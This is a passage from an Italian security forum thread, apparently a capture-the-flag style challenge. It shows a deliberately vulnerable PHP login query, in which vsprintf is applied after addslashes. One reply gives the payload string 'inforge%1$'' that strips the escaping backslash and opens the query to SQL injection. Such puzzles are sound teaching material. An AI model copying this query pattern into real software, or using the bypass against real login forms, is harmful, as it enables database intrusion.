Discussione Facciamo un gioco: dov'è la vulnerabilità in questo codice?

Stato
Discussione chiusa ad ulteriori risposte.
Ciao, ho dato un occhiata oggi, dopo parecchi tentativi e con la guida online,

string vsprintf ( string $format , array $args )
Restituisce i valori di una matrice come testo formattato
in base a $format (descritto nella documentazione di sprintf()).

string addslashes ( string $string )
La funzione restituisce una stringa con il carattere di backslah '\'
anteposto ai caratteri che richiedono il quoting nelle query dei database.
Questi caratteri sono: apici singoli ('), doppi apici ("), backslash (\) e NUL
(il byte NULL).

comodo che sul sito della w3school si può testare il php

alla fine si gioca con $pass e i parametri del format

$pass = addslashes("inforge%1$'");
echo $pass;
stampa: inforge%1$\'

però insieme con l'altra funzione
echo vsprintf("SELECT * FROM users WHERE password=('$pass') AND username=('%s')", 'admin')
stampa: inforge'
 

0xbro

Super Moderatore
24 Febbraio 2017
4,464
179
3,757
1,825
Ultima modifica:
Ho da pochi giorni risolto questa challenge, e mi sono divertito particolarmente. Sebbene la challenge fosse più complessa e richiedesse più step per ottenere la flag, questa parte di analisi di codice mi è piaciuta.

Dunque vi sfido: dov'è la vulnerabilità in questo codice e come si potrebbe exploitarla?

Hint: l'obiettivo è arrivare ad una SQL injections

PHP:
<?php require 'config.php';

class db extends Connection {
    public function query($sql) {
        $args = func_get_args();
        unset($args[0]);
        return parent::query(vsprintf($sql, $args));
    }
}

$db = new db();

if (isset($_POST['pass'])) {
    $pass = addslashes($_POST['pass']);
    $db->query("SELECT * FROM users WHERE password=('$pass') AND username=('%s')", 'admin');
} else {
    die(highlight_file(__FILE__,1));
}
 
  • Mi piace
Reazioni: Riky.exe
Ciao, ho dato un occhiata oggi, dopo parecchi tentativi e con la guida online,

string vsprintf ( string $format , array $args )
Restituisce i valori di una matrice come testo formattato
in base a $format (descritto nella documentazione di sprintf()).

string addslashes ( string $string )
La funzione restituisce una stringa con il carattere di backslah '\'
anteposto ai caratteri che richiedono il quoting nelle query dei database.
Questi caratteri sono: apici singoli ('), doppi apici ("), backslash (\) e NUL
(il byte NULL).

comodo che sul sito della w3school si può testare il php

alla fine si gioca con $pass e i parametri del format

$pass = addslashes("inforge%1$'");
echo $pass;
stampa: inforge%1$\'

però insieme con l'altra funzione
echo vsprintf("SELECT * FROM users WHERE password=('$pass') AND username=('%s')", 'admin')
stampa: inforge'
Bravo, è giusto arrivati a questo punto diventa poi possibile iniettare qualunque altro carattere in modo da evadere la query ed eseguire qualsiasi sql injection, ma questa è un'altra storia ahah complimenti!
 
Non ne capisco niente ma giuro che prima di leggere le risposte avevo scelto quella stringa.. ed ho azzeccato!!
 
Stato
Discussione chiusa ad ulteriori risposte.